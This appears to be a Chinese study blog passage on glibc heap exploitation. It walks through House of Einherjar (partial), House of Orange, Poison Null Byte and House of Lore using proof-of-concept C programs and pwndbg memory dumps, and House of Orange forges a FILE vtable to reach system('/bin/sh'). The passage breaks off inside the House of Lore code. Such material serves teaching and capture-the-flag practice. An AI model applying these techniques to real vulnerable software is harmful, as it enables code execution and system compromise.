size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
printf("Our fake prev_size will be %p - %p = %#lx\n", b-sizeof(size_t)*2, fake_chunk, fake_size);
*(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;

//Change the fake chunk's size to reflect b's new prev_size
printf("\nModify fake chunk's size to reflect b's new prev_size\n");
fake_chunk[1] = fake_size;

// free b and it will consolidate with our fake chunk
printf("Now we free b and this will consolidate with our fake chunk since b prev_inuse is not set\n");
free(b);
printf("Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]);

//if
we allocate another chunk before we free b we will need to
//do two things:
//1) We will need to adjust the size of our fake chunk so that
//fake_chunk + fake_chunk's size points to an area we control
//2) we will need to write the size of our fake chunk
//at the location we control.
//After doing these two things, when unlink gets called, our fake chunk will
//pass the size(P) == prev_size(next_chunk(P)) test.
//otherwise we need to make sure that our fake chunk is up against the
//wilderness
//

printf("\nNow we can call malloc() and it will begin in our fake chunk\n");
d = malloc(0x200);
printf("Next malloc(0x200) is at %p\n", d);

assert((long)d == (long)&fake_chunk[2]);
}
  1. fake_chunk[5] = (size_t) fake_chunk 构造完fakechunk以后

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    pwndbg> p fake_chunk
    $1 = {256, 256, 140737488348400, 140737488348400, 140737488348400, 140737488348400}
    pwndbg> p/x fake_chunk
    $2 = {0x100, 0x100, 0x7fffffffe4f0, 0x7fffffffe4f0, 0x7fffffffe4f0, 0x7fffffffe4f0}
    pwndbg> p/x &fake_chunk
    $3 = 0x7fffffffe4f0
    pwndbg> x/20gx 0x7fffffffe4f0
    0x7fffffffe4f0: 0x0000000000000100 0x0000000000000100
    0x7fffffffe500: 0x00007fffffffe4f0 0x00007fffffffe4f0
    0x7fffffffe510: 0x00007fffffffe4f0 0x00007fffffffe4f0
    0x7fffffffe520: 0x00007fffffffe610 0x25c3bd6b0b1b9500
    0x7fffffffe530: 0x00005555555555f0 0x00007ffff7a44b8e
    0x7fffffffe540: 0x0000000000040000 0x00007fffffffe618
    0x7fffffffe550: 0x00000001f7b96fc8 0x0000555555555229
    0x7fffffffe560: 0x0000000000000000 0x298666c63b010ef3
    0x7fffffffe570: 0x0000555555555140 0x00007fffffffe610
    0x7fffffffe580: 0x0000000000000000 0x0000000000000000
    pwndbg> stack 20
    00:0000│ rsp 0x7fffffffe4c0 ◂— 0x38 /* '8' */
    01:00080x7fffffffe4c8 —▸ 0x55555555c260 ◂— 0x0
    02:00100x7fffffffe4d0 ◂— 0xc2
    03:00180x7fffffffe4d8 —▸ 0x7fffffffe50e ◂— 0x7fffffffe4f00000
    04:00200x7fffffffe4e0 ◂— 0x1
    05:00280x7fffffffe4e8 —▸ 0x7ffff7ac1821 (handle_intel.constprop+145) ◂— test rax, rax
    06:0030│ rax 0x7fffffffe4f0 ◂— 0x100
  2. a[real_a_size] = 0;覆盖掉chunk_b的prev_in_use标志位为0(501->500)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    pwndbg> x/30gx 0x55555555c250
    0x55555555c250: 0x0000000000000000 0x0000000000000041
    0x55555555c260: 0x0000000000000000 0x0000000000000000
    0x55555555c270: 0x0000000000000000 0x0000000000000000
    0x55555555c280: 0x0000000000000000 0x0000000000000000
    0x55555555c290: 0x0000000000000000 0x0000000000000500
    0x55555555c2a0: 0x0000000000000000 0x0000000000000000
    0x55555555c2b0: 0x0000000000000000 0x0000000000000000
    0x55555555c2c0: 0x0000000000000000 0x0000000000000000
    0x55555555c2d0: 0x0000000000000000 0x0000000000000000
    0x55555555c2e0: 0x0000000000000000 0x0000000000000000
    0x55555555c2f0: 0x0000000000000000 0x0000000000000000
    0x55555555c300: 0x0000000000000000 0x0000000000000000
    0x55555555c310: 0x0000000000000000 0x0000000000000000
    0x55555555c320: 0x0000000000000000 0x0000000000000000
    0x55555555c330: 0x0000000000000000 0x0000000000000000
    pwndbg> p a
    $6 = (uint8_t *) 0x55555555c260 ""
    pwndbg> p b
    $7 = (uint8_t *) 0x55555555c2a0 ""
  3. 用fake_size覆盖chunkb的prev_size,fake_size大小为chunk_b地址-fakechunk地址

    1
    2
    3
    4
    5
    6
    7
    8
    pwndbg> x/30gx 0x55555555c250
    0x55555555c250: 0x0000000000000000 0x0000000000000041
    0x55555555c260: 0x0000000000000000 0x0000000000000000
    0x55555555c270: 0x0000000000000000 0x0000000000000000
    0x55555555c280: 0x0000000000000000 0x0000000000000000
    0x55555555c290: 0xffffd5555555dda0 0x0000000000000500
    0x55555555c2a0: 0x0000000000000000 0x0000000000000000
    0x55555555c2b0: 0x0000000000000000 0x0000000000000000
  4. free(b)由于进行了错误的consolidate,free以后指向了错误的area

1
2


  1. d = malloc(0x200);再次malloc即可得到我们的fakechunk,因为size_t fake_size = (size_t)((b-sizeof(size_t)2) - (uint8_t)fake_chunk);
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    pwndbg> p d
    $9 = (uint8_t *) 0x7fffffffe500 "\360\344\377\377\377\177"
    pwndbg> p b
    $19 = (uint8_t *) 0x55555555c2a0 ""
    pwndbg> p/x &fake_chunk
    $13 = 0x7fffffffe4f0
    pwndbg> p/x fake_chunk
    $8 = {0x100, 0xffffd5555555dda0, 0x7fffffffe4f0, 0x7fffffffe4f0, 0x7fffffffe4f0, 0x7fffffffe4f0}
    pwndbg> x/20gx 0x7fffffffe4f0
    0x7fffffffe4f0: 0x0000000000000100 0xffffd5555555dda0
    0x7fffffffe500: 0x00007fffffffe4f0 0x00007fffffffe4f0
    0x7fffffffe510: 0x00007fffffffe4f0 0x00007fffffffe4f0
    0x7fffffffe520: 0x00007fffffffe610 0x25c3bd6b0b1b9500

    >>> hex(0x1ffff55555555c2a0-0xffffd5555555dda0)='0xffff7fffffffe500'

House_of_Orange

利用原理

分配了一个0x400大小的chunk,此时top chunk 剩余0x20c00,如果0x400的chunk存在溢出漏洞,我们覆盖掉top chunk的大小为0xc01。然后我们申请一个大小大于top chunk size的chunk,malloc会试着扩大top chunk,在老的top chunk之后新申请一块top chunk并且老的top chunk被释放放入unsorted bins中。再次利用溢出漏洞用用_IO_list_all - 16( _IO_list_all可以通过old top chunk的fd/bk推算出来)来覆盖unsorted bins的bk,这时再申请一个大小大于top chunk的chunk,sysmalloc会被调用,接着调用_int_free

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>

/*
The House of Orange uses an overflow in the heap to corrupt the _IO_list_all pointer
It requires a leak of the heap and the libc
Credit: http://4ngelboy.blogspot.com/2016/10/hitcon-ctf-qual-2016-house-of-orange.html
*/

/*
This function is just present to emulate the scenario where
the address of the function system is known.
*/
int winner ( char *ptr);

int main()
{
/*
The House of Orange starts with the assumption that a buffer overflow exists on the heap
using which the Top (also called the Wilderness) chunk can be corrupted.

At the beginning of execution, the entire heap is part of the Top chunk.
The first allocations are usually pieces of the Top chunk that are broken off to service the request.
Thus, with every allocation, the Top chunks keeps getting smaller.
And in a situation where the size of the Top chunk is smaller than the requested value,
there are two possibilities:
1) Extend the Top chunk
2) Mmap a new page

If the size requested is smaller than 0x21000, then the former is followed.
*/

char *p1, *p2;
size_t io_list_all, *top;

fprintf(stderr, "The attack vector of this technique was removed by changing the behavior of malloc_printerr, "
"which is no longer calling _IO_flush_all_lockp, in 91e7cf982d0104f0e71770f5ae8e3faf352dea9f (2.26).\n");

fprintf(stderr, "Since glibc 2.24 _IO_FILE vtable are checked against a whitelist breaking this exploit,"
"https://sourceware.org/git/?p=glibc.git;a=commit;h=db3476aff19b75c4fdefbe65fcd5f0a90588ba51\n");

/*
Firstly, lets allocate a chunk on the heap.
*/

p1 = malloc(0x400-16);

/*
The heap is usually allocated with a top chunk of size 0x21000
Since we've allocate a chunk of size 0x400 already,
what's left is 0x20c00 with the PREV_INUSE bit set => 0x20c01.

The heap boundaries are page aligned. Since the Top chunk is the last chunk on the heap,
it must also be page aligned at the end.

Also, if a chunk that is adjacent to the Top chunk is to be freed,
then it gets merged with the Top chunk. So the PREV_INUSE bit of the Top chunk is always set.

So that means that there are two conditions that must always be true.
1) Top chunk + size has to be page aligned
2) Top chunk's prev_inuse bit has to be set.

We can satisfy both of these conditions if we set the size of the Top chunk to be 0xc00 | PREV_INUSE.
What's left is 0x20c01

Now, let's satisfy the conditions
1) Top chunk + size has to be page aligned
2) Top chunk's prev_inuse bit has to be set.
*/

top = (size_t *) ( (char *) p1 + 0x400 - 16);
top[1] = 0xc01;

/*
Now we request a chunk of size larger than the size of the Top chunk.
Malloc tries to service this request by extending the Top chunk
This forces sysmalloc to be invoked.

In the usual scenario, the heap looks like the following
|------------|------------|------...----|
| chunk | chunk | Top ... |
|------------|------------|------...----|
heap start heap end

And the new area that gets allocated is contiguous to the old heap end.
So the new size of the Top chunk is the sum of the old size and the newly allocated size.

In order to keep track of this change in size, malloc uses a fencepost chunk,
which is basically a temporary chunk.

After the size of the Top chunk has been updated, this chunk gets freed.

In our scenario however, the heap looks like
|------------|------------|------..--|--...--|---------|
| chunk | chunk | Top .. | ... | new Top |
|------------|------------|------..--|--...--|---------|
heap start heap end

In this situation, the new Top will be starting from an address that is adjacent to the heap end.
So the area between the second chunk and the heap end is unused.
And the old Top chunk gets freed.
Since the size of the Top chunk, when it is freed, is larger than the fastbin sizes,
it gets added to list of unsorted bins.
Now we request a chunk of size larger than the size of the top chunk.
This forces sysmalloc to be invoked.
And ultimately invokes _int_free

Finally the heap looks like this:
|------------|------------|------..--|--...--|---------|
| chunk | chunk | free .. | ... | new Top |
|------------|------------|------..--|--...--|---------|
heap start new heap end



*/

p2 = malloc(0x1000);
/*
Note that the above chunk will be allocated in a different page
that gets mmapped. It will be placed after the old heap's end

Now we are left with the old Top chunk that is freed and has been added into the list of unsorted bins


Here starts phase two of the attack. We assume that we have an overflow into the old
top chunk so we could overwrite the chunk's size.
For the second phase we utilize this overflow again to overwrite the fd and bk pointer
of this chunk in the unsorted bin list.
There are two common ways to exploit the current state:
- Get an allocation in an *arbitrary* location by setting the pointers accordingly (requires at least two allocations)
- Use the unlinking of the chunk for an *where*-controlled write of the
libc's main_arena unsorted-bin-list. (requires at least one allocation)

The former attack is pretty straight forward to exploit, so we will only elaborate
on a variant of the latter, developed by Angelboy in the blog post linked above.

The attack is pretty stunning, as it exploits the abort call itself, which
is triggered when the libc detects any bogus state of the heap.
Whenever abort is triggered, it will flush all the file pointers by calling
_IO_flush_all_lockp. Eventually, walking through the linked list in
_IO_list_all and calling _IO_OVERFLOW on them.

The idea is to overwrite the _IO_list_all pointer with a fake file pointer, whose
_IO_OVERLOW points to system and whose first 8 bytes are set to '/bin/sh', so
that calling _IO_OVERFLOW(fp, EOF) translates to system('/bin/sh').
More about file-pointer exploitation can be found here:
https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/

The address of the _IO_list_all can be calculated from the fd and bk of the free chunk, as they
currently point to the libc's main_arena.
*/

io_list_all = top[2] + 0x9a8;

/*
We plan to overwrite the fd and bk pointers of the old top,
which has now been added to the unsorted bins.

When malloc tries to satisfy a request by splitting this free chunk
the value at chunk->bk->fd gets overwritten with the address of the unsorted-bin-list
in libc's main_arena.

Note that this overwrite occurs before the sanity check and therefore, will occur in any
case.

Here, we require that chunk->bk->fd to be the value of _IO_list_all.
So, we should set chunk->bk to be _IO_list_all - 16
*/

top[3] = io_list_all - 0x10;

/*
At the end, the system function will be invoked with the pointer to this file pointer.
If we fill the first 8 bytes with /bin/sh, it is equivalent to system(/bin/sh)
*/

memcpy( ( char *) top, "/bin/sh\x00", 8);

/*
The function _IO_flush_all_lockp iterates through the file pointer linked-list
in _IO_list_all.
Since we can only overwrite this address with main_arena's unsorted-bin-list,
the idea is to get control over the memory at the corresponding fd-ptr.
The address of the next file pointer is located at base_address+0x68.
This corresponds to smallbin-4, which holds all the smallbins of
sizes between 90 and 98. For further information about the libc's bin organisation
see: https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/

Since we overflow the old top chunk, we also control it's size field.
Here it gets a little bit tricky, currently the old top chunk is in the
unsortedbin list. For each allocation, malloc tries to serve the chunks
in this list first, therefore, iterates over the list.
Furthermore, it will sort all non-fitting chunks into the corresponding bins.
If we set the size to 0x61 (97) (prev_inuse bit has to be set)
and trigger an non fitting smaller allocation, malloc will sort the old chunk into the
smallbin-4. Since this bin is currently empty the old top chunk will be the new head,
therefore, occupying the smallbin[4] location in the main_arena and
eventually representing the fake file pointer's fd-ptr.

In addition to sorting, malloc will also perform certain size checks on them,
so after sorting the old top chunk and following the bogus fd pointer
to _IO_list_all, it will check the corresponding size field, detect
that the size is smaller than MINSIZE "size <= 2 * SIZE_SZ"
and finally triggering the abort call that gets our chain rolling.
Here is the corresponding code in the libc:
https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#3717
*/

top[1] = 0x61;

/*
Now comes the part where we satisfy the constraints on the fake file pointer
required by the function _IO_flush_all_lockp and tested here:
https://code.woboq.org/userspace/glibc/libio/genops.c.html#813

We want to satisfy the first condition:
fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base
*/

FILE *fp = (FILE *) top;


/*
1. Set mode to 0: fp->_mode <= 0
*/

fp->_mode = 0; // top+0xc0


/*
2. Set write_base to 2 and write_ptr to 3: fp->_IO_write_ptr > fp->_IO_write_base
*/

fp->_IO_write_base = (char *) 2; // top+0x20
fp->_IO_write_ptr = (char *) 3; // top+0x28


/*
4) Finally set the jump table to controlled memory and place system there.
The jump table pointer is right after the FILE struct:
base_address+sizeof(FILE) = jump_table

4-a) _IO_OVERFLOW calls the ptr at offset 3: jump_table+0x18 == winner
*/

size_t *jump_table = &top[12]; // controlled memory
jump_table[3] = (size_t) &winner;
*(size_t *) ((size_t) fp + sizeof(FILE)) = (size_t) jump_table; // top+0xd8


/* Finally, trigger the whole chain by calling malloc */
malloc(10);

/*
The libc's error message will be printed to the screen
But you'll get a shell anyways.
*/

return 0;
}

int winner(char *ptr)
{
system(ptr);
syscall(SYS_exit, 0);
return 0;
}

Poison_Null_Byte

利用原理

申请chunk a,b,c 然后free b,然后利用某个漏洞null_byte溢出覆盖b的chunk size(0x210->0x200),此时再次malloc b1,b2,会修改chunk c的prev_inuse size,但是因为b的chunk size被缩小,导致没有正确修改到chunk c的prev_inuse size。所以chunk c依然认为chunk b为原来的大小且属于free状态,这个时候free c,就会把错误的b和c合并,得到一块可以覆盖b1,b2的chunk

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>


int main()
{
fprintf(stderr, "Welcome to poison null byte 2.0!\n");
fprintf(stderr, "Tested in Ubuntu 14.04 64bit.\n");
fprintf(stderr, "This technique only works with disabled tcache-option for glibc, see build_glibc.sh for build instructions.\n");
fprintf(stderr, "This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");

uint8_t* a;
uint8_t* b;
uint8_t* c;
uint8_t* b1;
uint8_t* b2;
uint8_t* d;
void *barrier;

fprintf(stderr, "We allocate 0x100 bytes for 'a'.\n");
a = (uint8_t*) malloc(0x100);
fprintf(stderr, "a: %p\n", a);
int real_a_size = malloc_usable_size(a);
fprintf(stderr, "Since we want to overflow 'a', we need to know the 'real' size of 'a' "
"(it may be more than 0x100 because of rounding): %#x\n", real_a_size);

/* chunk size attribute cannot have a least significant byte with a value of 0x00.
* the least significant byte of this will be 0x10, because the size of the chunk includes
* the amount requested plus some amount required for the metadata. */
b = (uint8_t*) malloc(0x200);

fprintf(stderr, "b: %p\n", b);

c = (uint8_t*) malloc(0x100);
fprintf(stderr, "c: %p\n", c);

barrier = malloc(0x100);
fprintf(stderr, "We allocate a barrier at %p, so that c is not consolidated with the top-chunk when freed.\n"
"The barrier is not strictly necessary, but makes things less confusing\n", barrier);

uint64_t* b_size_ptr = (uint64_t*)(b - 8);

// added fix for size==prev_size(next_chunk) check in newer versions of glibc
// https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30
// this added check requires we are allowed to have null pointers in b (not just a c string)
//*(size_t*)(b+0x1f0) = 0x200;
fprintf(stderr, "In newer versions of glibc we will need to have our updated size inside b itself to pass "
"the check 'chunksize(P) != prev_size (next_chunk(P))'\n");
// we set this location to 0x200 since 0x200 == (0x211 & 0xff00)
// which is the value of b.size after its first byte has been overwritten with a NULL byte
*(size_t*)(b+0x1f0) = 0x200;

// this technique works by overwriting the size metadata of a free chunk
free(b);

fprintf(stderr, "b.size: %#lx\n", *b_size_ptr);
fprintf(stderr, "b.size is: (0x200 + 0x10) | prev_in_use\n");
fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'\n");
a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG"
fprintf(stderr, "b.size: %#lx\n", *b_size_ptr);

uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2;
fprintf(stderr, "c.prev_size is %#lx\n",*c_prev_size_ptr);

// This malloc will result in a call to unlink on the chunk where b was.
// The added check (commit id: 17f487b), if not properly handled as we did before,
// will detect the heap corruption now.
// The check is this: chunksize(P) != prev_size (next_chunk(P)) where
// P == b-0x10, chunksize(P) == *(b-0x10+0x8) == 0x200 (was 0x210 before the overflow)
// next_chunk(P) == b-0x10+0x200 == b+0x1f0
// prev_size (next_chunk(P)) == *(b+0x1f0) == 0x200
fprintf(stderr, "We will pass the check since chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n",
*((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8))));
b1 = malloc(0x100);

fprintf(stderr, "b1: %p\n",b1);
fprintf(stderr, "Now we malloc 'b1'. It will be placed where 'b' was. "
"At this point c.prev_size should have been updated, but it was not: %#lx\n",*c_prev_size_ptr);
fprintf(stderr, "Interestingly, the updated value of c.prev_size has been written 0x10 bytes "
"before c.prev_size: %lx\n",*(((uint64_t*)c)-4));
fprintf(stderr, "We malloc 'b2', our 'victim' chunk.\n");
// Typically b2 (the victim) will be a structure with valuable pointers that we want to control

b2 = malloc(0x80);
fprintf(stderr, "b2: %p\n",b2);

memset(b2,'B',0x80);
fprintf(stderr, "Current b2 content:\n%s\n",b2);

fprintf(stderr, "Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\n");

free(b1);
free(c);

fprintf(stderr, "Finally, we allocate 'd', overlapping 'b2'.\n");
d = malloc(0x300);
fprintf(stderr, "d: %p\n",d);

fprintf(stderr, "Now 'd' and 'b2' overlap.\n");
memset(d,'D',0x300);

fprintf(stderr, "New b2 content:\n%s\n",b2);

fprintf(stderr, "Thanks to https://www.contextis.com/resources/white-papers/glibc-adventures-the-forgotten-chunks"
"for the clear explanation of this technique.\n");
}

具体分析

在分配内存时,malloc 会先到 unsorted bin(或者fastbins) 中查找适合的被 free 的 chunk,如果没有,就会把 unsorted bin 中的所有 chunk 分别放入到所属的 bins 中,然后再去这些 bins 里去找合适的 chunk。可以看到第三次 malloc 的地址和第一次相同,即 malloc 找到了第一次 free 掉的 chunk,并把它重新分配。

  1. malloc后,b
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55555555d000
Size: 0x111

Allocated chunk | PREV_INUSE
Addr: 0x55555555d110
Size: 0x211

Allocated chunk | PREV_INUSE
Addr: 0x55555555d320
Size: 0x111

Allocated chunk | PREV_INUSE
Addr: 0x55555555d430
Size: 0x111

Top chunk | PREV_INUSE
Addr: 0x55555555d540
Size: 0x20ac1
  1. free b后c的prev_size修改成了0x110
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x55555555d110 ?? 0x7ffff7dd4b78 (main_arena+88) ?? 0x55555555d110
smallbins
empty
largebins
empty
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55555555d000
Size: 0x111

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x55555555d110
Size: 0x211
fd: 0x7ffff7dd4b78
bk: 0x7ffff7dd4b78

Allocated chunk
Addr: 0x55555555d320
Size: 0x110

Allocated chunk | PREV_INUSE
Addr: 0x55555555d430
Size: 0x111

Top chunk | PREV_INUSE
Addr: 0x55555555d540
Size: 0x20ac1

pwndbg> x/10gx 0x55555555d100
0x55555555d100: 0x0000000000000000 0x0000000000000000
0x55555555d110: 0x0000000000000000 0x0000000000000211
0x55555555d120: 0x00007ffff7dd4b78 0x00007ffff7dd4b78
0x55555555d130: 0x0000000000000000 0x0000000000000000
0x55555555d140: 0x0000000000000000 0x0000000000000000
pwndbg> p b_size_ptr
$4 = (uint64_t *) 0x55555555d118
  1. a[real_a_size] = 0;real_a_size为0x108,a指向0x55555555d010,这个操作会覆盖b的chunk size为200,比原来的size缩小了0x10

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    pwndbg> x/10x 0x55555555d100
    0x55555555d100: 0x0000000000000000 0x0000000000000000
    0x55555555d110: 0x0000000000000000 0x0000000000000200
    0x55555555d120: 0x00007ffff7dd4b78 0x00007ffff7dd4b78
    0x55555555d130: 0x0000000000000000 0x0000000000000000
    0x55555555d140: 0x0000000000000000 0x0000000000000000
    …………
    0x55555555d310: 0x0000000000000200 0x0000000000000000
    0x55555555d320: 0x0000000000000210 0x0000000000000110

    pwndbg> heap
    Allocated chunk | PREV_INUSE
    Addr: 0x55555555d000
    Size: 0x111

    Free chunk (unsortedbin)
    Addr: 0x55555555d110
    Size: 0x200
    fd: 0x7ffff7dd4b78
    bk: 0x7ffff7dd4b78

    Allocated chunk
    Addr: 0x55555555d310
    Size: 0x00
  2. 这个时候b1=alloc(0x100),由于b的chunk_size被减少了10,malloc以后会修改chunk c的fake prev_inuse size(原来应该修改0x55555555d320,但是b的size被篡改后实际会修改0x55555555d310)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    pwndbg> heap
    Allocated chunk | PREV_INUSE
    Addr: 0x55555555d000
    Size: 0x111

    Allocated chunk | PREV_INUSE
    Addr: 0x55555555d110
    Size: 0x111

    Allocated chunk | PREV_INUSE
    Addr: 0x55555555d220
    Size: 0x91

    Free chunk (unsortedbin) | PREV_INUSE
    Addr: 0x55555555d2b0
    Size: 0x61
    fd: 0x7ffff7dd4b78
    bk: 0x7ffff7dd4b78

    Allocated chunk
    Addr: 0x55555555d310
    Size: 0x00

    0x55555555d110: 0x0000000000000000 0x0000000000000111
    0x55555555d120: 0x00007ffff7dd4d68 0x00007ffff7dd4d68


    0x55555555d220: 0x0000000000000000 0x0000000000000091
    0x55555555d230: 0x00007ffff7dd4b78 0x00007ffff7dd4b78


    0x55555555d2b0: 0x0000000000000000 0x0000000000000061
    0x55555555d2c0: 0x00007ffff7dd4b78 0x00007ffff7dd4b78


    0x55555555d310: 0x00000000000000f0 0x0000000000000000
    0x55555555d320: 0x0000000000000210 0x0000000000000110
  3. b2 = malloc(0x80);同样是修改0x55555555d310(c的fake prev_inuse size)

    1
    2
    0x55555555d310:	0x0000000000000060	0x0000000000000000
    0x55555555d320: 0x0000000000000210 0x0000000000000110
  4. free(b1);free(c);得到大小为0x321的unsortedbin(因为free c的时候,计算使用的是c真实的prev_inuse size即未被修改的210,并且此时b1因为已经被free了,导致consolidate的操作,最后分配到一个能够覆盖b2的chunk)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    pwndbg> heap
    Allocated chunk | PREV_INUSE
    Addr: 0x55555555d000
    Size: 0x111

    Free chunk (unsortedbin) | PREV_INUSE
    Addr: 0x55555555d110
    Size: 0x321
    fd: 0x55555555d2b0
    bk: 0x7ffff7dd4b78

    Allocated chunk
    Addr: 0x55555555d430
    Size: 0x110

    Top chunk | PREV_INUSE
    Addr: 0x55555555d540
    Size: 0x20ac1
  5. malloc(0x300)这是会把unsortedbin中的0x55555555d110取出来,起始地址为0x55555555d110,大小为0x321,覆盖了b2

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    pwndbg> heap
    Allocated chunk | PREV_INUSE
    Addr: 0x55555555d000
    Size: 0x111

    Allocated chunk | PREV_INUSE
    Addr: 0x55555555d110
    Size: 0x321

    Allocated chunk | PREV_INUSE
    Addr: 0x55555555d430
    Size: 0x111

    Top chunk | PREV_INUSE
    Addr: 0x55555555d540
    Size: 0x20ac1

House_of_Lore

利用原理

再stack上构造一个fake small bins链,然后free一个chunk,利用某个漏洞修改这个chunk的bk,让他指向我们构造的small bins链,那么之后的malloc最先会得到这个free的chunk,再次malloc会得到fake small bins链里面的fake chunk地址,由于fake chunk由我们控制,相当于我们可以控制任意地址了

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
/*
Advanced exploitation of the House of Lore - Malloc Maleficarum.
This PoC take care also of the glibc hardening of smallbin corruption.

[ ... ]

else
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim)){

errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}

set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;

[ ... ]

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>

void jackpot(){ fprintf(stderr, "Nice jump d00d\n"); exit(0); }

int main(int argc, char * argv[]){


intptr_t* stack_buffer_1[4] = {0};
intptr_t* stack_buffer_2[3] = {0};

fprintf(stderr, "\nWelcome to the House of Lore\n");
fprintf(stderr, "This is a revisited version that bypass also the hardening check introduced by glibc malloc\n");
fprintf(stderr, "This is tested against Ubuntu 16.04.6 - 64bit - glibc-2.23\n\n");

fprintf(stderr, "Allocating the victim chunk\n");
intptr_t *victim = malloc(0x100);
fprintf(stderr, "Allocated the first small chunk on the heap at %p\n", victim);

// victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk
intptr_t *victim_chunk = victim-2;

fprintf(stderr, "stack_buffer_1 at %p\n", (void*)stack_buffer_1);
fprintf(stderr, "stack_buffer_2 at %p\n", (void*)stack_buffer_2);

fprintf(stderr, "Create a fake chunk on the stack\n");
fprintf(stderr, "Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted"
"in second to the last malloc, which putting stack address on smallbin list\n");
stack_buffer_1[0] = 0;
stack_buffer_1[1] = 0;
stack_buffer_1[2] = victim_chunk;

fprintf(stderr, "Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 "
"in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake "
"chunk on stack");
stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
stack_buffer_2[2] = (intptr_t*)stack_buffer_1;

fprintf(stderr, "Allocating another large chunk in order to avoid consolidating the top chunk with"
"the small one during the free()\n");
void *p5 = malloc(1000);
fprintf(stderr, "Allocated the large chunk on the heap at %p\n", p5);


fprintf(stderr, "Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim);
free((void*)victim);

fprintf(stderr, "\nIn the unsorted bin the victim's fwd and bk pointers are nil\n");
fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
